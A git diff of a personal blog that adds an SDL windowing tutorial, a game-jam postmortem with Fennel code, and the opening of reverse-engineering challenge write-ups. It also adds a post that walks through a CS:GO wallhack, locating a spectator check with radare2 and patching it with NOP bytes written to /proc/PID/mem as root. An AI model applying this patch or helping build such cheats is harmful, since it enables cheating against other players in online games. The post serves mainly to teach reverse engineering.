again, don't forget to clean up after yourself. The function to remove a +renderer when you're done with it is =SDL_DestroyRenderer=. It just takes a +=SDL_Renderer= pointer as an argument. + +Now we've got a renderer, but if we compile and run our code - the effect is +the same because we haven't used it for anything. So let's change that and +learn a little bit about drawing in SDL. + +Renderers in SDL have a color associated with them, which they use when drawing +primitive geometry like lines and quadrilaterals. It doesn't affect textures, +but you'll probably end up using primitive geometry at some point so it's good +to know. =SDL_SetRenderDrawColor= changes the aforementioned color. We're +actually not going to be drawing any primitive geometry in this tutorial, but +I'm bringing this up because the renderer will use its associated color when +clearing the screen. So more about the function - it takes a renderer as an +argument, followed by red, green, blue, and alpha (transparency) values. I'm +going to make mine white (0xFF, 0xFF, 0xFF, 0xFF), but feel free to experiment. +After that, we'll be calling =SDL_RenderClear=, which takes a renderer as an +argument and, as I briefly mentioned a few lines ago, fills it with whatever +color the renderer is currently associated with. And finally, we'll call +=SDL_RenderPresent= to update the screen. This is where some people get a little +confused. Basically, in SDL you draw everything and /then/ update the screen, +meaning that you have as much time as you want to make the scene perfect before +you have to show it to the user. And we're pretty much done! Let's look at the +basic program: + +#+BEGIN_SRC c :hl_lines 0 +#include <stdio.h> +#include <SDL2/SDL.h> + +int main(int argc, char *argv[]) { + SDL_Window *my_cool_window; + SDL_Renderer *my_cool_renderer; + + if (SDL_Init(SDL_INIT_VIDEO)) { + fprintf(stderr, "ERROR: %s\n", SDL_GetError()); + return 1; + } + + my_cool_window = SDL_CreateWindow("Bush Did Harambe", + SDL_WINDOWPOS_UNDEFINED, + SDL_WINDOWPOS_UNDEFINED, + 400, 400, SDL_WINDOW_SHOWN); + if (!my_cool_window) { + fprintf(stderr, "ERROR: %s\n", SDL_GetError()); + return 1; + } + + my_cool_renderer = SDL_CreateRenderer(my_cool_window, + -1, + SDL_RENDERER_ACCELERATED); + if (!my_cool_renderer) { + fprintf(stderr, "ERROR: %s\n", SDL_GetError()); + return 1; + } + + SDL_SetRenderDrawColor(my_cool_renderer, 0xFF, 0xFF, 0xFF, 0xFF); + SDL_RenderClear(my_cool_renderer); + SDL_RenderPresent(my_cool_renderer); + + SDL_Delay(4000); + SDL_DestroyRenderer(my_cool_renderer); + SDL_DestroyWindow(my_cool_window); + SDL_Quit(); + return 0; +} +#+END_SRC + +Let's run it: + +#+CAPTION: A screenshot of the completed window on my system. +[[./finished-window.png]] + +To recap, we learned about: + +* SDL Functions + +- *SDL_Init*: Used to initialize SDL. Takes a flag as a parameter. Returns 0 if + it succeeds, or a negative value if it fails. +- *SDL_Quit*: Complements =SDL_Init=. Takes no parameters and returns nothing. +- *SDL_CreateWindow*: Creates a window and returns a pointer to it, or =NULL= if + it fails. Takes a title, X and Y positions, width, height, and a flag as + parameters. +- *SDL_DestroyWindow*: Complements =SDL_CreateWindow=, takes a =SDL_Window= + pointer as an argument and returns nothing. +- *SDL_CreateRenderer*: Called to create a renderer, and returns a pointer to + it, or =NULL= if it fails. Takes the =SDL_Window= pointer for the window you + want to create a renderer for, an index (usually -1), and a flag as + parameters. +- *SDL_DestroyRenderer*: Complements =SDL_CreateRenderer=. Takes a + =SDL_Renderer= pointer as an argument and returns nothing +- *SDL_Delay*: Takes a number of milliseconds as an argument, and proceeds to + wait for that period of time. +- *SDL_SetRenderDrawColor*: Takes a renderer, red, green, blue, and alpha values + as arguments, and changes the color associated with the given renderer. +- *SDL_RenderClear*: Takes a renderer as an argument and fills it with whatever + color is currently associated with that renderer. +- *SDL_RenderPresent*: "Refreshes" the renderer, presenting the image to the + user. + +* Type Definitions + +- *SDL_Window*: Captures the result of =SDL_CreateWindow=. +- *SDL_Renderer*: Captures the result of =SDL_CreateRenderer=. + +And if you would like to read more, here are some additional resources: + +- [[https://wiki.libsdl.org/SDL_Init#Remarks][SDL Documentation - SDL_Init (Remarks)]] +- [[https://wiki.libsdl.org/SDL_WindowFlags][SDL Documentation - Window Flags]] +- [[https://wiki.libsdl.org/SDL_RendererFlags][SDL Documentation - Renderer Flags]] + +You're still reading? Well, this is my first tutorial ever. If you have any +feedback, be it positive or negative, I'd love to hear it! I hope this tutorial +was helpful, there are many more to come. diff --git a/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png b/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png Binary files differnew file mode 100644 index 0000000..0bbe5fc --- /dev/null +++ b/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png diff --git a/posts/Slime the World: A Postmortem/slime-the-world-postmortem.org b/posts/Slime the World: A Postmortem/slime-the-world-postmortem.org new file mode 100644 index 0000000..9bf9cac --- /dev/null +++ b/posts/Slime the World: A Postmortem/slime-the-world-postmortem.org @@ -0,0 +1,320 @@ +#+TITLE: Slime the World: A Postmortem +#+DATE: <2018-11-02 Fri> +#+TAGS: writeup, video-games, programming, game-development, lua, lisp, fennel + +[[https://itch.io/jam/autumn-lisp-game-jam-2018/rate/321822][Slime the World]] was my entry to this year's [[https://itch.io/jam/autumn-lisp-game-jam-2018][Autumn Lisp Game Jam]], and it managed +to win second place. The theme was slime, so it’s a game about covering +everything in sight with slime, and the dialect of Lisp I chose to use was +[[https://fennel-lang.org/][Fennel]], a simple and elegant Lisp that I feel perfectly matches the simplicity +and elegance of Lua. It takes on a more "modern" style that I associate with +Lisps such as Clojure. I had initially pushed Clojure to the side, feeling it +was too different from Common Lisp, but now that I've had a positive firsthand +experience with a Lisp where lists /aren't/ the data structure you always reach +for, I'm hoping to return to it with an open mind. + +When I signed up, I thought that the ten-day deadline was lax compared with some +of the more well-known jams like [[https://ldjam.com/][Ludum Dare]]. Being given ten days to complete a +submission was certainly more permissive than two would have been, but I found +that participating in a game jam and simultaneously juggling coursework from +university was challenging. To me, the point of a short deadline is so that you +can sit down and focus on nothing but developing the game for the stretch of the +jam, but even dedicating one weekend to working on the game felt irresponsible +when I had papers to write, problem sets to grind, and exams to study for. I +actually made myself submit the entry two days before the deadline so that I +wouldn't be working on it when I went home to visit my family this past weekend. +I had fun, though, didn't fall behind in my academics, and still had plenty of +time to spend with the people I love most. + +All in all, I'm very happy with my decision to participate. This was my first +game jam, and I think given the smaller size and relatively laid back +atmosphere, it was a wise choice for first jam. The dynamic nature of Lisp made +for a pleasant game development experience, I had an opportunity to try my hand +at sprite work in GIMP, and this is the first time I can say that I've +"finished" one of my games! I've made plenty of prototypes (which I now feel +inspired to return to and write a blog post about), but they never graduated +past the prototype stage. This reminds me of a point in [[https://www.youtube.com/watch?v=jGjq-C5cj2c&list=PLRDhcp_8c7uAPQfE6WMBo7PCNlkQIOLdO&index=5&t=0s][an entry to +3kliksphilip's "The Game Making Journey"]], which I took to be a suggestion to +finish at least one relatively basic game before starting on something huge and +deep[fn:1]: "I had no idea what people wanted from my proper games, like Sundown +Shambles or Don't Look Down, which were still not getting positive reviews even +after weeks of development - to me these were perfect, or at least a lot closer +to that status than other peoples' games and I had no idea of how I was supposed +to improve on them further. I learned that I should build things from the ground +up, getting it to work on a basic level before elaborating on it, rather than +starting with some obscure or absurdly complex idea and shoe-horning it into +something that people could play, relying on depth to compensate for lack of +balance or fun." In my case, those prototypes never went anywhere because I +wasn't focused on getting a simple base that was engaging, I had an +underdeveloped vision of gameplay and tried to implement the entire thing at +once, which inevitably led to me giving up. + +Surprisingly, one of the highlights for me was actually adapting [[https://en.wikipedia.org/wiki/Flood_fill][flood fill]] to +figure out how many surfaces in the map can be slimed. It's a pleasingly simple +algorithm, but until now, I've never had a reason to implement it. The following +isn't the code that's actually used in the game - it's been *significantly* +cleaned up, and works on maps made from text-based tiles instead of the +structures that the game uses to represent tiles, but I'm including a little +code walkthrough because I really just admire the simplicity of the algorithm. +It's also decoupled from the game code if you want to run it yourself, just make +sure [[https://raw.githubusercontent.com/rxi/lume/master/lume.lua][lume.lua]] is present. + +#+BEGIN_SRC fennel :hl_lines 0 +(local lume (require :lume)) + +(fn index-out-of-bounds [world x y] + (or (< y 0) (>= y (# world)) + (< x 0) (>= x (# (. world (+ y 1)))))) + +(fn tile-at [world x y] + (when (index-out-of-bounds world x y) + (error (string.format "(%d, %d) is out of bounds" x y))) + (. world (+ y 1) (+ x 1))) + +(fn iter-tiles [world] + (var x 0) + (var y 0) + + (let [height (# world)] + (fn [] + (if (< y height) + (let [last-x x + last-y y + tile (tile-at world x y) + width (- (# (. world (+ y 1))) 1)] + (if (>= x width) + (do + (set x 0) + (set y (+ 1 y))) + (set x (+ 1 x))) + (values last-x last-y tile)) + nil)))) + +;; Returns some tile in `world' of type `tile-type', or nil if no such tile is +;; present. +(fn find-any [tile-type world] + (var res nil) + (each [x y tile (iter-tiles world)] + (when (and (= tile tile-type) (not res)) + (set res [x y]))) + res) + +;; Returns whether or not `tile' exists in `checked'. +(fn tile-checked [checked x y] + (lume.match checked + (fn [tile] + (let [(other-x other-y) (unpack tile)] + (and (= x other-x) + (= y other-y)))))) + +;; Modified implementation of <https://en.wikipedia.org/wiki/Flood_fill>. +(fn count-surfaces-recur [world x y checked] + (let [check-adjacent (fn [world x y checked] + (if (index-out-of-bounds world x y) + 0 + (if (= " " (tile-at world x y)) + (count-surfaces-recur world x y checked) + 1)))] + (if (tile-checked checked x y) + 0 + (do (table.insert checked [x y]) + (+ (check-adjacent world (+ x 1) y checked) + (check-adjacent world (- x 1) y checked) + (check-adjacent world x (+ y 1) checked) + (check-adjacent world x (- y 1) checked)))))) + +;; Returns the number of slime-able surfaces in the given grid of tiles. +(fn count-surfaces [world] + (let [seed (find-any " " world)] + (when seed + (let [(x y) (unpack seed)] + (count-surfaces-recur world x y []))))) + +(let [world [["█" "█" "█" "█"] + ["█" " " "█" "█"] + ["█" " " " " "█"] + ["█" " " " " "█"] + ["█" "█" "█" "█"]]] + (print (count-surfaces world))) +#+END_SRC + +There are a few shortcomings of this implementation (chiefly, the map has to be +one enclosed space, there can't be any "empty" tiles around the map's border), +but for the purposes of a game jam entry, it did the job wonderfully. [[https://github.com/rxi/lume][=lume=]] is +an excellent library that prides itself on being "geared towards gamedev," but +as you can see from the code, it also provides some general iteration constructs +that prove useful when programming in a more functional style. =tile-at= and +=index-out-of-bounds= are just my mapping of cartesian coordinates onto a Lua +array (which are indexed starting at 1, /not/ 0). =iter-tiles= provides an +[[https://www.lua.org/pil/7.1.html][iterator]] over the text-based world structure I'm using, yielding an =x=, a =y=, +and the =tile= for every addressable location in the world. It's more stateful +than I'd like, and I know that Lua supports [[https://www.lua.org/pil/7.3.html][stateless iterators]], but I didn't +really want to figure those out. Lisp is multi-paradigm, after all. + +All =count-surfaces= does is find a place for =count-surfaces-recur= to start, +which is where the real meat of the algorithm is. As the name implies, it's +recursive: + +1. If the tile's been checked already, stop and return 0. +2. For each adjacent tile (one step north, west, east, and south), sum: + 1. 1, if the tile is a wall (as that means we've hit one side of the tile) + 2. The return value of =count-surfaces-recur= if it isn't a wall +3. Return that sum. + +We're really just walking the map's empty space and keeping track of every time +we hit the side of a tile. There are better ways to implement flood fill, but I +think this is fairly easy to reason about and understand. + +Participating in the game jam taught me several lessons, and there are a few I +would like to share with you: + +* The First Solution Doesn't Have To Be The Best Solution + +I find that, when I initially set out to write a blog post or something similar, +I'm most effective if I direct my attention towards getting words down on paper +and pay little mind to formatting or coherence. Both are easily addressed later +on in the writing process, and having the words in a malleable medium gives me a +framework to run with. This is different than the approach I typically take when +programming, where I do a lot of planning in my head and strive to nail the most +elegant solution on the first try. "Most elegant," being, of course, subjective. +However, working within a strict deadline pushed me towards putting out some +arguably "hackier" code, which in turn helped me to realize the usefulness of +applying my "get words down on paper" methodology to programming. Allow me to +elaborate with some examples. + +The first iteration of the code for updating the camera looked like this: + +#+BEGIN_SRC fennel :hl_lines 0 +;; Update camera. +(set camera-x (lume.lerp camera-x (- swanky-x camera-lock-goal-x) dt)) +(set camera-y (lume.lerp camera-y (- swanky-y camera-lock-goal-y) dt)) + +;; Lock camera so that it doesn't go out of bounds. +(when (> 0 camera-x) + (set camera-x 0)) + +(when (> 0 camera-y) + (set camera-y 0)) + +(when (>= camera-x (- (* tile-width (- (. sandbox :width) 3)) screen-width)) + (set camera-x (- (* tile-width (- (. sandbox :width) 3)) screen-width))) + +(when (>= camera-y (- (* tile-height (- (. sandbox :height) 2)) screen-height)) + (set camera-y (- (* tile-height (- (. sandbox :height) 2)) screen-height))) +#+END_SRC + +All of the variables you see above, with the exception of =dt=, are globally +accessible and mutable. This is typically frowned upon in production code, but I +think that for a first iteration, globals make the code easier to think about, +and that's more effective for grounding the ideas that you have. + +Now that I was able to see which information was associated with which concepts +in the code, I was able to replace the loose global variables with tables. This +was the subsequent iteration: + +#+BEGIN_SRC fennel :hl_lines 0 +;; Update camera. +(tset camera :x-pos (lume.lerp (. camera :x-pos) + (- (. player :x-pos) camera-lock-goal-x) (* 4 dt))) +(tset camera :y-pos (lume.lerp (. camera :y-pos) + (- (. player :y-pos) camera-lock-goal-x) (* 4 dt))) +;; Lock camera so that it doesn't go out of bounds. +(when (> 0 (. camera :x-pos)) + (tset camera :x-pos 0)) + +(when (> 0 (. camera :y-pos)) + (tset camera :y-pos 0)) + +(let [max-x (- (* (. map :tiles :width) (. world :width)) screen-width)] + (when (>= (. camera :x-pos) max-x) + (tset camera :x-pos max-x))) + +(let [max-y (- (* (. map :tiles :height) (. world :height)) screen-height)] + (when (>= (. camera :y-pos) max-y) + (tset camera :y-pos max-y))) +#+END_SRC + +I think this less readable, but again, much like with writing, formatting and +coherence are things you can and should come back to. The current version of the +game has more general function that abstracts this notion of updating the camera +into a function that doesn't incur side effects. + +#+BEGIN_SRC fennel :hl_lines 0 +(fn focus-on-object [camera object dt] + (let [last-x (. camera :x-pos) + last-y (. camera :y-pos) + max-x (. camera :max-x) + max-y (. camera :max-y) + object-x (. object :x-pos) + object-y (. object :y-pos) + width (. object :width) + height (. object :height) + screen-width (. camera :screen-width) + screen-height (. camera :screen-height) + x-offset (math.floor (- (/ screen-width 2) (/ width 2))) + y-offset (math.floor (- (/ screen-height 2) (/ height 2))) + x (lume.lerp last-x (- object-x x-offset) (* 4 dt)) + y (lume.lerp last-y (- object-y y-offset) (* 4 dt)) + x (lume.clamp x 0 max-x) + y (lume.clamp y 0 max-y)] + (values x y))) +#+END_SRC + +This version is still, in my opinion, "hacky." For one, the code is mostly field +retrieval, and this could probably be broken up into smaller functions for +clarity. I believe the reason for the upper bound on elegance was actually that +I tried to refactor too early. I made the transition from global variables to +tables within the first two days of the jam, so very few of the features in the +final game had an initial implementation, and as such, I was lacking a complete +"big picture" when designing the data layout. + +Writing this section, I was reminded of a snippet from a [[https://www.facebook.com/permalink.php?story_fbid=2110408722526967&id=100006735798590][Facebook post]] that was +posted by one my idols, John Carmack: "I used a common pattern for me: get first +results with hacky code, then write a brand new and clean implementation with +the lessons learned, so they both exist and can be cross checked." I'm hoping to +apply this to my future programming work. It's been said that "weeks of +programming can save you hours of planning," but I think that getting some code +down that works is an excellent precursor to the planning process. + +* Learn Your Tools Ahead Of Time + +I was fortunate enough to have experience with Lua prior to the jam, so the +general concepts regarding tables and such weren't foreign, and I had guidance +in the form of [[https://technomancy.us][Phil Hagelberg]]'s blog post[fn:2], [[https://technomancy.us/188]["in which a game jam is recounted +further"]] and the source code to [[https://gitlab.com/technomancy/exo-encounter-667][EXO_encounter 667]]. Regardless, I didn't /learn/ +Fennel until the jam had started. This wasn't a huge deal, as Lisps are +syntactically identical and I was able to pick it up without much trouble, but +there were inevitably nuances, and I really wish that I had at least played +around with Fennel in the days leading up to the jam. It took me four days to +realize that bindings in a =let= form could refer to earlier bindings in that same +form, much like the behavior of =let*= in Common Lisp. It also took time to get +used to reaching for tables and booleans rather than conses, and I never learned +how macros work in Fennel. To my understanding, they have to be declared in +separate modules, and there is no backquote syntax. Again, things I could have +figured out had I just used Fennel prior to writing a game with it. + +Also, I still do not know why, but [[https://gitlab.com/technomancy/fennel-mode][=fennel-mode=]] does not work with my Emacs +configuration. Some =init.el= bisecting revealed that =(require 'package)= +messed up fennel-mode's indentation function somehow. Whenever I worked on the +game, I had to run a separate =emacs -q= and =eval-buffer= on =fennel-mode.el=. +Fortunately, it wasn't too inconveniencing, but it did make me want to redo my +Emacs config at some point in the future. + +* Don't Be Too Ambitious + +Going back to the point about juggling this with university, I probably could +have picked a less ambitious idea for the jam. There were loads of unused assets +and unimplemented ideas. I had plans for implementing particle systems, parallax +scrolling, a big ol' Metroidvania-styled map with interconnected rooms, enemies, +saving, gamepad support, &c, &c, &c. A minimal portion of my initial vision made +it into the end product, to say the least. Toning back the idea blast probably +would have helped me focus on what was important to implement. + +Huge thanks to [[https://www.michaelfiano.com/][Michael Fiano]] for hosting the jam, and to the community for being +so damn great. Everyone was willing to help one another - Phil was kind enough +to [[https://itch.io/post/581643][share his makefile with me]][fn:3], and I made plenty of friends along the way. + +[fn:1] After returning to rewatch the series after publishing this post, I came to the realization that I was thinking of another point in another video. For those curious, the topic of finishing a simple game before tackling something bigger is covered in [[https://www.youtube.com/watch?v=1jn39JJYW3A&t=0s&list=PLRDhcp_8c7uAPQfE6WMBo7PCNlkQIOLdO&index=6][the fifth entry]]. + +[fn:2] Which was actually my main inspiration to use Fennel for this jam. + +[fn:3] Sadly, due to time constraints, I did not end up using it for the submission. I do, however, have intentions to go back and incorporate it into my post-jam fixes. diff --git a/posts/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org b/posts/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org new file mode 100644 index 0000000..c3594d0 --- /dev/null +++ b/posts/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org @@ -0,0 +1,181 @@ +#+TITLE: Understand Game Hacking In One Post +#+DATE: <2017-09-05 Tue> +#+TAGS: tutorial, reverse-engineering, video-games, game-hacking, x86, c++, radare2 + +At a first glance, it might seem that game cheats like [[https://github.com/AimTuxOfficial/AimTux][AimTux]] are something that +could only be conjured by the most talented of reverse engineers. That was at +least my initial view on it, especially since I always saw these game hackers +using outlandish terms that I hadn't heard in over a year of playing in CTF's. +Don't be fooled; game hacking isn't nearly as complex as its community makes it +seem. In this post, I will explain the concepts in a way that is familiar to +people with experience in binary exploitation and reverse engineering, but it +shouldn't be too hard to understand if you lack that background. + +You want to know the secret of game hacking? Editing memory. Much can be +accomplished with nothing more than a few writes to process memory. This should +be unsurprising if you've used Cheat Engine, scanmem, or even the Game +Genie. Memory editing, despite the fact that much is nowadays validated on the +server, remains king in the cheat market. Reading and writing memory be your +primitives, and I'll show you just how effective they can be by walking you +through a basic wallhack for CS:GO. I choose Counter-Strike as an example, +because there is a wealth of information out there, and it has an active +commmunity constantly hacking on it. In case you want to go forth and do more on +your own, y'know? + +First, I should explain the two methods of editing process memory. Developers of +game hacks refer to the methods as "internal" and "external", where internal +means a dynamic library that gets injected into the game's address space, and +external means a separate process that manipulates memory by means of the +operating system. [[https://github.com/AimTuxOfficial/AimTux][AimTux]] is an example of an internal hack, and [[https://gitgud.io/vc/vcaim][vcaim]] is an +example of an external hack. We'll be writing an external cheat in this blog +post. Although, if you want to learn more about writing internal cheats on +Linux, [[https://aixxe.net/2016/09/linux-skin-changer][this blog post by Aixxe]] is excellent. + +Next, there's some terminology that people use when talking about +memory-manipulating cheats. "Offsets," and "signatures." If you've ever +performed a ret2libc attack on a system with ASLR, you already know about +offsets. It's just a number you add to the address at which a library was loaded +to get the position of something in memory. In the case of ret2libc, you're +trying to get to a function like =system(3)=, but in the case of CS:GO hacks, +you're trying to get to get something like a list of entities currently in the +game. You can try to find functions, too, which we'll be doing in this post to +write wallhacks, but most legit CS:GO hacks go after entity data. + +Games get updated and therefore recompiled quite often, so offsets are +constantly changing. To combat this, cheat developers developed ways to scan for +"signatures" in memory. That is, patterns of bytes that will reveal the offset - +either by being around the desired offset, or being code that references it. If +you get signatures from someone, it will probably look like "B9 ? ? ? ? 6A 00 FF +50 08 C3". Those are hexpairs, and the question marks are bytes that get ignored +because they're an address or something that will likely end up changing in a +future update. + +Oh yeah, probably should've mentioned why we're using offsets instead of fixed +addresses. It /is/ because of ASLR - a lot of CS:GO's code is stored in shared +libraries. Specifically, =client_client.so= and =engine_client.so=. Where these +are depends on whether you're using an amd64 or an x86 processor. Just use +=find(1)= in the Steam directory, man. + +As a heads up, this cheat is mostly a [[https://aixxe.net/2017/06/kernel-game-hacking][paste I stole from Emma]]. I didn't come up +with it myself, but I thought that it was simple enough to be an example for +this post. + +The way we're going to go about writing our wallhack is pretty primitive, +patching the =.text= segment. Although we're going to do this by editing memory, +not the binary on disk. In CS:GO, there's a "glow" effect that spectators have - +allowing them to see the outlines of other players in gamemodes like Casual. If +we can find the offset to the code that checks if we're a spectator or not and +patch it, we can enable the glowing effect and see through walls. + +The glow effect is also controlled by a "cvar," which is just a client-side +configuration variable. Specifically, it checks "spec_show_xray". If we open up +=client_client.so= in radare2, we can see that that's a plain ASCII string and +that there are two references to it in the =.text= segment. + +#+BEGIN_SRC +[0x005eef60]> iz~spec_show_xray +vaddr=0x0135c245 paddr=0x0135c245 ordinal=3016 sz=15 len=14 section=.rodata type=ascii string=spec_show_xray +[0x005eef60]> iS +[Sections] +... +idx=11 vaddr=0x005eef60 paddr=0x005eef60 sz=13998500 vsz=13998500 perm=--r-x name=.text +... + +40 sections + +[0x005eef60]> e search.from=0x005eef60 +[0x005eef60]> e search.to=0x005eef60+13998500 +[0x005eef60]> /r 0x0135c245 +[0x01348878-0x01348904] data 0x6236aa leaq str.spec_show_xray, %rsi in unknown function +data 0x71817c leaq str.spec_show_xray, %rsi in unknown function +#+END_SRC + +If we seek to the first one, we'll see a dissasembly listing like this + +#+BEGIN_SRC asm :hl_lines 0 +0x00623690 4c8d0de9c664. leaq 0x00c6fd80, %r9 +0x00623697 b980000800 movl $0x80080, %ecx +0x0062369c 4c8d05c5fdd9. leaq 0x013c3468, %r8 ; "If set to 1, you can see player outlines and name IDs through walls - who you can see depends on your team and mode" +0x006236a3 488d159af1d3. leaq 0x01362844, %rdx ; "0" +0x006236aa 488d35948bd3. leaq 0x0135c245, %rsi ; "spec_show_xray" +0x006236b1 488d3d080df6. leaq 0x065843c0, %rdi +0x006236b8 e8c3278e00 callq 0xf05e80 +#+END_SRC + +This is how cvars are "constructed" in the source engine. %rdi contains the +address of the actual variable, which is at =0x065843c0=. This is done so that +the variable can be changed from the in-game console, if the player so desires. +But what this means for us is that we can easily find the address of a cvar in +memory. If we look for references to that address, we'll find a handful. + +#+BEGIN_SRC +[0x006236aa]> /r 0x065843c0 +[0x01348782-0x01348904] data 0x6236b1 leaq 0x065843c0, %rdi in unknown function +data 0x6236c3 leaq 0x065843c0, %rsi in unknown function +data 0x7b7f57 movq 0x01bd5180, %rdi in unknown function +data 0x7b901b movq 0x01bd5180, %rbx in unknown function +data 0xc5ac60 movq 0x01bd5180, %rax in unknown function +data 0xc664d4 leaq 0x065843c0, %rax in unknown function +data 0xc7e86c leaq 0x065843c0, %rax in unknown function +data 0xc8bc34 movq 0x01bd5180, %rax in unknown function +data 0xd78699 movq 0x01bd5180, %rax in unknown function +data 0xda8601 movq 0x01bd5180, %rax in unknown function +data 0xda9d0f movq 0x01bd5180, %rax in unknown function +data 0xe3db40 movq 0x01bd5180, %rax in unknown function +#+END_SRC + +A little of trial and error, combined with looking at the [[https://www.unknowncheats.me/forum/counterstrike-global-offensive/212843-mac-binaries-symbols.html][OSX binaries with +symbols]], yields that =0xc664d4= is the address that we're looking for - the +function responsible for glowing. + +#+BEGIN_SRC asm :hl_lines 0 +0x00c664c0 e80be7b3ff callq 0x7a4bd0 +0x00c664c5 84c0 testb %al, %al +0x00c664c7 0f84c3010000 je 0xc66690 +0x00c664cd 488b3d24df91. movq 0x065843f8, %rdi ; [0x65843f8:8]=0 +0x00c664d4 488d05e5de91. leaq 0x065843c0, %rax +0x00c664db 4839c7 cmpq %rax, %rdi +... +#+END_SRC + +That first call is the actual check, the symbol for it in the OSX binaries is +"CanSeeSpectatorOnlyTools". So if we patch the jump at =0x00c664c7=, we should +be able to see the glow effect as long as "spec_show_xray" is set to 1. + +This is pretty easy, since we just need to change 6 bytes. I initially +considered using =dd(1)= for this, but it doesn't seem to like touching procfs +mem files, so instead we'll edit it from a python REPL. + +#+BEGIN_SRC +[jakob@Epsilon ~]$ sudo grep -i client_client.so /proc/$(pidof csgo_linux64)/maps +7f5029915000-7f502b0e4000 r-xp 00000000 08:12 41426690 csgo/bin/linux64/client_client.so +7f502b0e4000-7f502b2e4000 ---p 017cf000 08:12 41426690 csgo/bin/linux64/client_client.so +7f502b2e4000-7f502b571000 rw-p 017cf000 08:12 41426690 csgo/bin/linux64/client_client.so +[jakob@Epsilon ~]$ sudo python +Python 3.6.2 (default, Jul 20 2017, 03:52:27) +[GCC 7.1.1 20170630] on linux +Type "help", "copyright", "credits" or "license" for more information. +>>> OFF = 0x7f5029915000 + 0x00c664c7 +>>> with open("/proc/9052/mem", "wb") as mem: +... mem.seek(OFF) +... mem.write(b"\x90" * 6) +... +139982284502215 +6 +>>> +#+END_SRC + +And it seems to work pretty well. I know I didn't go into a whole lot of depth +about how you would actually come up with a cheat like this, but the reality is +that a lot can be figured out using some basic reverse engineering skills. You +already saw how much information leakage there is from a simple string +reference. There's a lot of information out there already, including the source +code for the [[https://github.com/ValveSoftware/source-sdk-2013][Source 2013 Base]]. I'd also recommend taking a look at the +[[https://www.unknowncheats.me/forum/index.php][UnknownCheats]] community if you're interested in learning more, they're +(generally) helpful and quite friendly. + + +Further Reading: + +- [[https://www.unknowncheats.me/forum/counterstrike-global-offensive/169923-cs-cheat-rookie-rookies.html][CS:GO Cheat-Making: From a rookie to rookies]] +- [[https://www.unknowncheats.me/forum/general-programming-and-reversing/133228-implement-pattern-scanning-obtain-offsets-dynamically.html][How to implement pattern-scanning to obtain offsets dynamically]] diff --git a/posts/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org b/posts/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org new file mode 100644 index 0000000..bb8f54d --- /dev/null +++ b/posts/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org @@ -0,0 +1,1258 @@ +#+TITLE: Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11) +#+DATE: <2019-03-10 Sun> +#+TAGS: writeup, reverse-engineering, arm, x86 + +As mentioned in the post I wrote [[http://jakob.space/posts/new-ambitions-for-a-new-year/][describing my plans for 2019]], one of my goals +this year is to get through at least 50 of the exercises on Dennis Yurichev's +[[https://challenges.re/][challenges.re]]. I've decided to document my progress in the form of writeups for +the challenges I complete, batched in sets of ten exercises. For each challenge, +I'll try to explain the intuitions that brought me closer to answering the +recurring question from Yurichev, "[w]hat does this code do?" + +* Challenge #2 + +In nearly all of the challenges available on the site, we're given equivalent +disassembly listings of a function, =f=, as generated by different compilers on +different processor architectures, and we're asked to describe what the code +does. For now, I've decided to take it easy and only pay attention to the +disassemblies for GCC on x86, as that's what I've done the most work with. We +aren't given a target operating system, but I think it's reasonable to assume +that the x86 code uses the [[https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl][cdecl calling convention]]. + +Although I stayed within my comfort zone in terms of instruction set +architecture, I refrained from my usual habit of converting the disassembly +listing to AT&T syntax for once. + +#+BEGIN_EXPORT html +<div class="mastodon"> + <iframe height="180" src="https://cmpwn.com/@sir/100574012321451958/embed"></iframe> +</div> +#+END_EXPORT + +Below is a rough translation of the disassembly listing to C. My process is +relatively unchanged from the workflow I described in an [[http://jakob.space/posts/decompilation-by-hand/][older post]]. + +#+BEGIN_SRC c :hl_lines 0 +unsigned f(unsigned a) +{ + // mov eax,DWORD PTR [esp+0x4] + // bswap eax + a = ((a & 0xff) << 24) + | ((a & 0xff00) << 8) + | ((a & 0xff0000) >> 8) + | ((a & 0xff000000) >> 24); + + // mov edx,eax + // and eax,0xf0f0f0f + // and edx,0xf0f0f0f0 + // shr edx,0x4 + // shl eax,0x4 + // or eax,edx + a = ((a & 0xf0f0f0f) << 4) | ((a & 0xf0f0f0f0) >> 4); + + // mov edx,eax + // and eax,0x33333333 + // and edx,0xcccccccc + // shr edx,0x2 + // shl eax,0x2 + // or eax,edx + a = ((a & 0x33333333) << 2) | ((a & 0xcccccccc) >> 2); + + // and eax,0x55555555 + // and edx,0xaaaaaaaa + // add eax,eax + // shr edx,1 + // or eax,edx + a = ((a & 0x55555555) << 1) | ((a & 0xaaaaaaaa) >> 1); + + // ret + return a; +} +#+END_SRC + +I think it should make sense that =add eax,eax= is mathematically equivalent to +=imul eax, 2=, but it takes another step to see that it's [[https://math.stackexchange.com/questions/1610667/why-shifting-left-1-bit-is-the-same-as-multiply-the-number-by-2][equivalent]] to =shl eax,1=, +which is represented in the C code as =<< 1=. This isn't terribly complicated, but +it's an optimization detail that some might not be familiar with. =bswap= is an +instruction I was unfamiliar with, so I consulted my [[https://c9x.me/x86/html/file_module_x86_id_21.html][favorite x86 reference]]. It +converts the endianness of the word in the register. If you don't know what that +means, I'd suggest you read the page in the ISA reference. + +The code seems nonsensical at first, but we can compile it and inspect the +output given some test values. + +#+BEGIN_SRC c :hl_lines 0 +#include <stdio.h> + +void main(void) +{ + unsigned i; + + for (i = 0; i <= 256; i++) { + printf("%010u %08x\n", i, i); + printf("%010u %08x\n", f(i), f(i)); + printf("\n"); + } +} +#+END_SRC + +Which produces: + +#+BEGIN_SRC +0000000000 00000000 +0000000000 00000000 + +0000000001 00000001 +2147483648 80000000 + +0000000002 00000002 +1073741824 40000000 + +0000000003 00000003 +3221225472 c0000000 + +0000000004 00000004 +0536870912 20000000 +... +#+END_SRC + +What's happening might not be immediately obvious, but there's a pattern in the +column of input/output represented in hexadecimal. Let's have a look at the +binary 